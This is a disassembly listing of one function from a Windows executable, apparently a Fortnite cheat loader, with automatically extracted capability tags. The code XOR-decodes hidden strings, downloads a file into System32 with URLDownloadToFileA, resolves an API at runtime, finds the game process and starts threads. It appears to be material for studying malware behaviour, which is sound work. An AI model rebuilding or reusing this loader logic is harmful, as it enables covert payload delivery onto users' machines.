Function at 0x14000c190
Capabilities:
Create thread
Download url
Encode data using xor
Enumerate processes
Execute command
Receive data

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x3f0
movaps xmmword [rax - 0x38], xmm6
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
movsd xmm6, qword [str.fortnite.otf]
xor edi, edi
mov ebx, dword [0x1400b92a8]
xorps xmm0, xmm0
movups xmmword [rbp + 0x80], xmm0
mov qword [rbp + 0x90], 0xc
lea ecx, [rdi + 0x20]
mov qword [rbp + 0x98], 0xf
movsd qword [rbp + 0x80], xmm6
mov dword [rbp + 0x88], ebx
mov byte [rbp + 0x8c], 0
mov qword [rbp + 0xe8], rdi
call fcn.140056830
movups xmm0, xmmword [str.C:WindowsSystem32_]
mov r15, rax
mov qword [rbp + 0xe0], rax
lea ecx, [rdi + 0x30]
mov qword [rbp + 0xf0], 0x14
movups xmmword [rax], xmm0
mov eax, dword [0x1400b92c0]
mov dword [r15 + 0x10], eax
mov byte [r15 + 0x14], dil
mov qword [rbp + 0xf8], 0x1f
mov qword [rbp + 0x48], rdi
call fcn.140056830
movdqa xmm0, xmmword [0x1400b9470]
lea rdx, [rbp + 0x40]
movdqu xmmword [rbp + 0x50], xmm0
mov qword [rbp + 0x40], rax
xor r8d, r8d
movups xmm0, xmmword [r15]
movups xmmword [rax], xmm0
mov ecx, dword [r15 + 0x10]
mov dword [rax + 0x10], ecx
lea rcx, [rbp + 0xc0]
movsd qword [rax + 0x14], xmm6
mov dword [rax + 0x1c], ebx
mov byte [rax + 0x20], dil
call fcn.140001ee0
cmp qword [rbp + 0xd8], 7
lea rcx, [rbp + 0xc0]
mov r9d, 0xffffffff
lea r8d, [rdi + 3]
cmova rcx, qword [rbp + 0xc0]
lea rdx, [rbp + 0x128]
call fcn.1400564b0
mov r8d, eax
test eax, eax
jne 0x14000c314
mov edx, dword [rbp + 0x138]
mov ecx, 0x1ff
test dl, 1
mov eax, 0x16d
cmovne ecx, eax
mov dword [rbp + 0x24], ecx
mov ecx, edx
shr ecx, 0xa
test cl, 1
je 0x14000c309
mov eax, dword [rbp + 0x13c]
cmp eax, 0xa000000c
jne 0x14000c2fb
lea edx, [rdi + 4]
jmp 0x14000c336
cmp eax, 0xa0000003
jne 0x14000c309
mov edx, 0xa
jmp 0x14000c336
shr edx, 4
and edx, 1
or edx, 2
jmp 0x14000c336
mov dword [rbp + 0x24], 0xffff
sub eax, 2
je 0x14000c331
sub eax, 1
je 0x14000c331
sub eax, 0x32
je 0x14000c331
mov edx, edi
cmp eax, 0x46
jne 0x14000c336
mov edx, 1
mov dword [rbp + 0x60], r8d
lea rax, [0x14013a390]
mov qword [rbp + 0x68], rax
movaps xmm0, xmmword [rbp + 0x60]
movdqa xmmword [rbp + 0x30], xmm0
test edx, edx
je 0x14000c3a4
cmp edx, 1
mov dword [rbp + 0x30], edi
mov qword [rbp + 0x38], rax
setne bl
lea rcx, [rbp + 0xc0]
call fcn.14000b790
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000c3b6
mov rcx, qword [rbp + 0x40]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000c3b1
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000c3b1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
xor bl, bl
test r8d, r8d
jne 0x14000d1a2
jmp 0x14000c35f
call fcn.14005686c
movdqa xmm0, xmmword [0x1400b9450]
mov r14d, dword [0x14013a9f0]
mov byte [rbp + 0x40], dil
movdqu xmmword [rbp + 0x50], xmm0
test bl, bl
jne 0x14000c7e6
movzx eax, byte [0x1400b9260]
mov r8d, edi
mov byte [rbp + 0x120], al
movups xmm0, xmmword [0x1400b9240]
movups xmm1, xmmword [0x1400b9250]
movups xmmword [rbp + 0x100], xmm0
movups xmmword [rbp + 0x110], xmm1
cmp r14d, 2
jl 0x14000c54f
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x104]
movdqa xmm5, xmmword [0x1400b9490]
movdqa xmm4, xmmword [0x1400b9570]
movdqa xmm6, xmmword [0x1400b94a0]
movdqa xmmword [rbp], xmm0
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0x20
jl 0x14000c440
cmp r8d, 0x21
jge 0x14000c596
movsxd rax, r8d
lea r9, [rbp + 0x100]
add r9, rax
nop dword [rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x21
jl 0x14000c560
lea rdx, str.__AFD
mov r8d, edi
mov rax, qword [rdx + 0xb0]
lea rcx, [rbp + 0x150]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdx]
movups xmm1, xmmword [rdx + 0x10]
movups xmmword [rcx - 0x80], xmm0
movups xmm0, xmmword [rdx + 0x20]
movups xmmword [rcx - 0x70], xmm1
movups xmm1, xmmword [rdx + 0x30]
movups xmmword [rcx - 0x60], xmm0
movups xmm0, xmmword [rdx + 0x40]
movups xmmword [rcx - 0x50], xmm1
movups xmm1, xmmword [rdx + 0x50]
movups xmmword [rcx - 0x40], xmm0
movups xmm0, xmmword [rdx + 0x60]
movups xmmword [rcx - 0x30], xmm1
movups xmm1, xmmword [rdx + 0x80]
movups xmmword [rcx - 0x20], xmm0
movups xmm0, xmmword [rdx + 0x70]
movups xmmword [rcx - 0x10], xmm0
movups xmm0, xmmword [rdx + 0x90]
movups xmmword [rcx], xmm1
movups xmm1, xmmword [rdx + 0xa0]
movups xmmword [rcx + 0x10], xmm0
movups xmmword [rcx + 0x20], xmm1
mov qword [rcx + 0x30], rax
movzx eax, byte [rdx + 0xb8]
mov byte [rcx + 0x38], al
cmp r14d, 2
jl 0x14000c775
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x154]
movdqa xmm5, xmmword [0x1400b9490]
movdqa xmm4, xmmword [0x1400b9570]
movdqa xmm6, xmmword [0x1400b94a0]
movdqa xmmword [rbp], xmm0
mov edx, dword [rbp]
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp r8d, 0xb8
jl 0x14000c660
cmp r8d, 0xb9
jge 0x14000c7c9
movsxd rax, r8d
lea r9, [rbp + 0x150]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0xb9
jl 0x14000c790
xor r9d, r9d
mov qword [rsp + 0x20], rdi
lea r8, [rbp + 0x100]
xor ecx, ecx
lea rdx, [rbp + 0x150]
call sub.urlmon.dll_URLDownloadToFileA
call fcn.14000b890
call fcn.14000b890
movabs rax, 0xf8d4533eef5cb25
lea rcx, [rbp + 0xe0]
mov qword [rbp], rax
movabs r13, 0x71596afdbb11c515
mov rax, qword [rbp]
movabs r12, 0x6ba377009c90b850
mov qword [rbp + 0xe0], rax
movabs rsi, 0x71596afdbb11a979
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0xe8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0xe0]
mov qword [rbp + 0xc8], rax
xorps xmm0, xmmword [rbp + 0xc0]
movdqa xmmword [rbp + 0xe0], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movabs rbx, 0xf8d0232affed127
lea rcx, [rbp + 0x60]
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x60], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x68], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
movdqa xmm0, xmmword [rbp + 0x60]
mov qword [rbp + 0x88], rax
xorps xmm0, xmmword [rbp + 0x80]
movdqa xmmword [rbp + 0x60], xmm0
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
movabs rax, 0xee40565efc5cc1e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x80], rax
movabs rax, 0x372e0599d578fe0d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x88], rax
movabs rax, 0x3cacdadbd2e2d0c7
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x90], rax
movabs rax, 0x6da61339ac95e84e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x98], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0xc0], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
mov qword [rbp + 0xc8], rax
movabs rax, 0x6fc7b9bab086b5a2
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd0], rax
movabs rax, 0x6da67457c5e19c2b
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0xd8], rax
vmovdqu ymm0, ymmword [rbp + 0xc0]
vpxor ymm1, ymm0, ymmword [rbp + 0x80]
vmovdqa ymmword [rbp + 0x80], ymm1
mov qword [rbp], rbx
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r13
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
lea rcx, [rbp + 0x30]
mov qword [rbp + 0x40], rax
mov qword [rbp], rsi
mov rax, qword [rbp]
vmovdqa xmm0, xmmword [rbp + 0x30]
mov qword [rbp + 0x48], rax
vxorps xmm0, xmm0, xmmword [rbp + 0x40]
vmovdqa xmmword [rbp + 0x30], xmm0
vzeroupper
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [rbp + 0x80]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14013b298], rax
test rax, rax
jne 0x14000ca2c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str._Couldnt_Find_THe_Pointer_
call fcn.140001fe0
lea rdx, [0x140002e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
jmp 0x14000ca33
mov qword [0x14013b2a0], rax
call fcn.14000b890
cmp qword [0x14013af48], rdi
jne 0x14000cc87
lea r12, str.FortniteClient_Win64_Shipping.exe
nop dword [rax]
mov dword [rbp + 0x20], 0x57504e66
mov rax, rdi
mov dword [rbp + 0x24], 0x42524c4a
mov dword [rbp + 0x28], 0x1000908
nop dword [rax + rax]
lea ecx, [rax + 0x20]
xor byte [rbp + rax + 0x20], cl
inc rax
cmp rax, 0xa
jb 0x14000ca70
lea rdx, [rbp + 0x20]
mov byte [rbp + 0x2b], dil
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Waiting_For_Fortnite...
mov qword [0x14013af48], rax
call fcn.140001fe0
lea rdx, [0x140002e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400b92e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Waiting_For_Fortnite.
call fcn.140001fe0
lea rdx, [0x140002e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400b92e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Waiting_For_Fortnite..
call fcn.140001fe0
lea rdx, [0x140002e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ecx, 0xfa
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x1400b92e0]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
xor edx, edx
lea ecx, [rdx + 2]
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov rsi, rax
mov ebx, edi
cmp rax, 0xffffffffffffffff
je 0x14000cc09
xor edx, edx
lea rcx, [rbp + 0x154]
mov r8d, 0x234
call sub.VCRUNTIME140.dll_memset
lea rdx, [rbp + 0x150]
mov dword [rbp + 0x150], 0x238
mov rcx, rsi
call sub.KERNEL32.dll_Process32FirstW
test eax, eax
je 0x14000cc00
lea rdx, [rbp + 0x17c]
lea rcx, [0x1400b9320]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
jne 0x14000cbb2
mov ebx, dword [rbp + 0x158]
jmp 0x14000cc00
lea rdx, [rbp + 0x150]
mov rcx, rsi
call sub.KERNEL32.dll_Process32NextW
test eax, eax
je 0x14000cc00
nop word [rax + rax]
lea rdx, [rbp + 0x17c]
lea rcx, [0x1400b9320]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
lea rdx, [rbp + 0x150]
mov rcx, rsi
test eax, eax
cmove ebx, dword [rbp + 0x158]
call sub.KERNEL32.dll_Process32NextW
test eax, eax
jne 0x14000cbd0
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x14013b2a8], ebx
test ebx, ebx
je 0x14000cc70
xorps xmm0, xmm0
mov eax, ebx
movups xmmword [rbp + 0x150], xmm0
lea rcx, [rbp + 0x150]
mov qword [rbp + 0x150], rax
movups xmmword [rbp + 0x190], xmm0
mov qword [rbp + 0x198], r12
movups xmmword [rbp + 0x1a0], xmm0
mov dword [rbp + 0x1a8], 2
movups xmmword [rbp + 0x160], xmm0
movups xmmword [rbp + 0x170], xmm0
movups xmmword [rbp + 0x180], xmm0
call qword [0x14013b2a0]
mov rax, qword [rbp + 0x1a0]
jmp 0x14000cc73
mov rax, rdi
cmp qword [0x14013af48], rdi
mov qword [0x14013af40], rax
je 0x14000ca50
call fcn.14000d1d0
cmp qword [0x14013af40], rdi
jne 0x14000cd12
mov eax, dword [str.vFGYE]
lea r8, [rbp + 0x16]
movzx ecx, word [0x1400b9270]
lea rdx, [rbp + 0x10]
mov dword [rbp + 0x16], eax
mov r9d, 0x40
movzx eax, byte [0x1400b9272]
xor byte [rbp + 0x17], 0x34
xor al, 0x39
xor byte [rbp + 0x18], 0x35
xor byte [rbp + 0x19], 0x36
mov word [rbp + 0x1a], cx
xor cl, 0x37
xor byte [rbp + 0x1b], 0x38
mov byte [rbp + 0x1c], al
mov eax, dword [str.vFGYE8]
mov dword [rbp + 0x10], eax
movzx eax, word [0x1400b9268]
xor byte [rbp + 0x11], 0x34
xor byte [rbp + 0x12], 0x35
xor byte [rbp + 0x13], 0x36
mov word [rbp + 0x14], ax
xor al, 0x37
xor byte [rbp + 0x15], 0x38
mov byte [rbp + 0x1a], cl
xor ecx, ecx
mov byte [rbp + 0x14], al
mov byte [rbp + 0x16], 0x45
mov byte [rbp + 0x10], 0x45
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, 8
call fcn.140056830
test rax, rax
je 0x14000cd2d
lea rcx, [0x1400075f0]
mov qword [rax], rcx
jmp 0x14000cd30
mov rax, rdi
lea rcx, [rbp + 0xa8]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x140002830]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0xa0], rax
test rax, rax
je 0x14000d1ba
cmp dword [rbp + 0xa8], edi
je 0x14000d197
movaps xmm0, xmmword [rbp + 0xa0]
lea rcx, [rbp + 0x40]
movdqa xmmword [rbp + 0x40], xmm0
call sub.MSVCP140.dll__Thrd_detach
test eax, eax
jne 0x14000d197
movups xmm1, xmmword [str.gGSV_]
xorps xmm0, xmm0
movups xmmword [rbp + 0x30], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movdqa xmmword [rbp + 0xa0], xmm0
test al, al
je 0x14000cf36
cmp r14d, 2
jl 0x14000cef9
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x34]
movdqa xmm5, xmmword [0x1400b9490]
mov edx, edi
movdqa xmm4, xmmword [0x1400b9570]
movdqa xmm6, xmmword [0x1400b94a0]
movdqa xmmword [rbp], xmm0
mov r8d, dword [rbp]
nop dword [rax]
movd xmm2, edx
lea eax, [rdx + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edx, 0x10
jl 0x14000cdf0
jmp 0x14000cf36
lea r9, [rbp + 0x30]
mov r8d, edi
mov eax, 0xa0a0a0a1
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, r8b
inc r8d
xor byte [r9 - 1], cl
cmp r8d, 0x10
jl 0x14000cf00
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x30]
call fcn.140001fe0
lea rdx, [0x140002e80]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
cmp byte [0x1400b929b], dil
movups xmm0, xmmword [0x1400b9288]
mov eax, dword [0x1400b9298]
mov dword [rbp + 0x50], eax
movups xmmword [rbp + 0x40], xmm0
je 0x14000d102
cmp r14d, 2
jl 0x14000d0bc
movdqa xmm0, xmmword [str.3333333333333333]
lea rcx, [rbp + 0x44]
movdqa xmm5, xmmword [0x1400b9490]
movdqa xmm4, xmmword [0x1400b9570]
movdqa xmm6, xmmword [0x1400b94a0]
movdqa xmmword [rbp], xmm0
mov edx, dword [rbp]
nop dword [rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add edi, 8
pmuldq xmm1, xmm4
mov eax, edi
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400b94b0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
xorps xmm2, xmm0
movd dword [rcx - 8], xmm2
cmp edi, 0x10
jl 0x14000cfb0
cmp eax, 0x14
jge 0x14000d102
movsxd rax, edi
lea r8, [rbp + 0x40]
add r8, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
lea r8, [r8 + 1]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
mov eax, 1
sub al, dl
movsx eax, al
imul ecx, eax, 0x33
add cl, dil
inc edi
xor byte [r8 - 1], cl
cmp edi, 0x14
jl 0x14000d0d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x40]
call fcn.140001fe0
lea rdx, [0x14000be70]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::ios_base____ptr64____cdecl___class_std::ios_base____ptr64_____ptr64]
mov rdx, qword [0x14013af40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_long_unsigned___int64_____ptr64]
mov rcx, rax
lea rdx, [0x140002e80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14000a470
mov ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp dword [rbp + 0xa8], 0
je 0x14000d162
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov edx, 0x20
mov rcx, r15
call fcn.14005686c
xor eax, eax
lea r11, [rsp + 0x3f0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov ecx, 1
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3
lea r8, [rbp + 0xc0]
lea rdx, [rbp + 0x30]
lea rcx, str.exists
call fcn.14000b450
int3
mov ecx, 6
mov dword [rbp + 0xa8], edi
call sub.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_
int3